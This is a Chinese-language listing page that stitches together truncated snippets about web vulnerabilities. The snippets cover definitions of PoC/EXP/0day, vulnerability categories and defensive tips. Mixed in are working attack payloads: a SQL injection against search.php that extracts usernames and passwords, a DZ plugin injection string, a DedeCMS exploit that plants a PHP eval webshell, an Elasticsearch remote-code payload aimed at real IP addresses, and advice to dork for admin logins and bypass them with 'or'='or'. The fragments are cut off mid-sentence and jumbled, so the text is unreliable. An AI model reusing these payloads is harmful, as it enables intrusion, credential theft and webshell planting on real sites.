POC（Proof of Concept）漏洞证明，漏洞报告中，通过一段描述或一个样例来证明漏洞确实存在EXP（Exploit）漏洞利用，某个漏洞存在EXP，意思就是该漏洞存在公开的利用方式（比如一个脚本）0DAY含义是刚刚被发现，还没有被公开的漏洞，也没有相应的补丁程序，威胁极大。CVE（Common Vulnerabilities & Exposures）公共漏洞和暴露，CVE就好像是
这个是search.php exp 变种
search.php?
encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uI
转载
精选
2011-01-21 19:09:59
3038阅读
在网络安全领域中，漏洞始终是一个备受关注的话题。近期，一个名为“Samba”的Linux文件共享服务的漏洞引起了广泛关注。擅长黑客攻击的人们已经开始利用这个漏洞进行各种恶意活动，这给网络安全带来了更大的挑战。
Samba是一个非常流行的开源软件，允许Linux系统与Windows系统之间共享文件和打印机。然而，最近发现了Samba中的一个漏洞，该漏洞使黑客可以利用未经授权访问和操纵共享文件的漏洞
Linux shell exp（Linux shell exploit）是用于Linux系统的一种利用程序漏洞来执行恶意代码的技术，旨在绕过系统的安全措施，达到入侵和攻击的目的。红帽（Red Hat）作为一个知名的Linux发行版，也不例外地受到shell exp的威胁。
红帽公司致力于保障其Linux发行版的安全性，通过定期的漏洞修复和安全更新来防范各种潜在的攻击。然而，由于Linux系统的开
1、CVE、CMS、中间件漏洞检测利用合集 https://github.com/mai-lang-chai/Middleware-Vulnerability-detection 2、POC&EXP仓库、hvv弹药库、Nday、1day https://github.com/DawnFlame/PO ...
转载
2021-08-27 01:54:00
4021阅读
点赞
2评论
红帽（Red Hat）是一家全球领先的开源技术公司，以其红帽企业 Linux 操作系统而闻名。Linux是一种自由和开放源代码的操作系统，广泛用于各种领域，包括个人电脑、服务器、嵌入式系统等。Red Hat的企业版Linux版本在企业环境中被广泛采用，用户可以通过订阅和支持服务获得专业的技术支持。
Web shell是一种用于通过Web界面执行命令的工具，通常由黑客或攻击者在系统中植入，用于执行
DZ交友插件漏洞jiaoyou.php?pid=1有的注入需要登录，注入代码如下：' or @`'` and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(user())),0x27,0x7e)) 
转载
精选
2014-11-03 19:37:08
798阅读
构造语句：mytag` (aid,expbody,normbody) VALUES(9013,@`\’`,’{dede:php}file_put_contents(”90sec.php”,”<?php eval($_POST[guige]);?>”);{/dede:php}’) # @`\’`EXP：http://www.xxx.org/plus/download.php?open=1
转载
精选
2013-06-18 17:09:30
9364阅读
目录一、什么是漏洞二、Web漏洞的分类（一）SQL 注入（二）XSS（跨站脚本攻击）（三）文件上传（四）文件下载（五）目录遍历（六）本地文件包含（Local File Include）（七）远程文件包含（八）全局变量覆盖（九）代码执行（十）信息泄露（十一）弱口令（十二）跨目录访问（十三）缓冲区溢出（十四）Cookies 欺骗（十五）反序列化（十六）CSRF（跨站请求伪造）（十七）命令注入三、漏洞挖
转载
2023-07-20 20:49:48
21阅读
爆路径：data/mysql_error_trace.inc一、dedecms plus/search.php注入漏洞修复及利用0×1:http://www.nxadmin.com/plus/search.php?keyword=as&typeArr[ uNion ]=a报错如果为：Safe Alert: Request Error step 2 !则利用以下exp:h
原创
2014-11-03 18:44:43
10000+阅读
测试url:http://190.196.67.252:9200/_search?prettyhttp://191.234.18.14:9200///_search?prettyPOST提交{“size”:1,”script_fields”: {“iswin”: {“script”:”java.lang.Math.class.forName(\”java.io.BufferedReader\”).
转载
2015-03-06 09:20:00
332阅读
2评论
# Java反序列化漏洞（Java Deserialization Vulnerability）
## 引言
Java反序列化漏洞（Java Deserialization Vulnerability）是一种常见的安全漏洞，攻击者可以利用该漏洞来执行恶意代码，从而导致服务器受到攻击。本文将介绍Java反序列化漏洞的原理和常见防御措施，并提供一些代码示例来帮助读者更好地理解和防范该漏洞。
##
原创
2023-08-09 04:11:25
153阅读
Internet的开放性使得Web系统面临入侵攻击的威胁，而建立一个安全的Web系统一直是人们的目标。一个实用的方法是，建立比较容易实现的相对安全的系统，同时按照一定的安全策略建立相应的安全辅助系统，漏洞扫描器就是这样一类安全辅助系统。
漏洞扫描就是对计算机系统或者其他网络设备进行安全相关的检测，以找出安全隐患和可被黑客利用的漏洞。作为一种保证Web信息系统和网络安全必不可少的手段，我们有必要
来源：Loveshellsource/src_trackback.asp中的注射
function trackbackSave(){var tbEntry={"log_id": input["id"],"url": input["url"],"title": input["title"],"excerpt": input["excerpt"],"blog": input["blog_name"
转载
精选
2007-07-03 16:10:05
860阅读
用谷歌搜索關鍵字：ManageLogin.asp百度做了一些限制,很慢，下面我們就用谷歌找這個地址是ManageLogin.asp結尾的，就是管理后臺地址很多你們看，
用萬能密碼'or'='or' 就可以进别的网站后台了。有的可以进去，有的进不去的就是被别人屏蔽了。
本人提供一个网站大家可以试试：http://www.kesunpc
转载
精选
2010-03-15 01:53:46
685阅读
一、经典漏洞
'or' '='
这样的漏洞解决起来也是比较容易的，过滤用户名和密码即可，不过也常常被忽视。
二、验证用户权限漏洞
cookies保存在本地机子上记录用户的一些信息，顾在本地可以进行恶意修改
session保存在服务器上，较占用服务器资源。
&
原创
2012-12-02 17:38:01
1558阅读
豆瓣copy的漏洞库网站中国国家漏洞库：http://www.cnvd.org.cn美国国家漏洞库：http://web.nvd.nist.gov美国国家信息安全应急小组：http://secunia.com国际权威漏洞机构Secunia：http://secunia.com 国际权威漏洞库SecurityFocus：http://www.securityfocus.comIBM网络安全漏洞库Xf
原创
2016-04-06 17:50:58
1338阅读
网站是网络访问的基本入口,随着互联网的发展越来越快,网站的弊端就逐步呈现，大大小小的漏洞，黑客通过这些漏洞对网站发起攻击 ,往往造成的后果不堪现，大大小小的漏洞，黑客通过这些漏洞对网站发起攻击 ,往往造成的后果不堪设想。下面一 起认识一- 下常见的几大漏洞。
1、SQL注入漏洞
SQL是网站存在最多也是最常见的漏洞，黑客可以利用该漏洞得到管理员的权限，在网站上挂木马和各种恶意程序或者直接控制服务器
原创
2022-09-29 15:02:00
204阅读
测试漏洞
原创
2014-04-25 13:34:12
559阅读
一、SQL注入漏洞 （1）表单提交，主要是POST请求，也包括GET请求； （2）URL参数提交，主要为GET请求参数； （3）Cookie参数提交； （4）HTTP请求头部的一些可修改的值，比如Referer、User_Agent等； （5）一些边缘的输入点，比如.mp3文件的一些文件信息等。常见的防范方法 （1）所有的查询语句都使用数据库提供的参数化查询接口，参数化的语句使用参数而不是将用户输
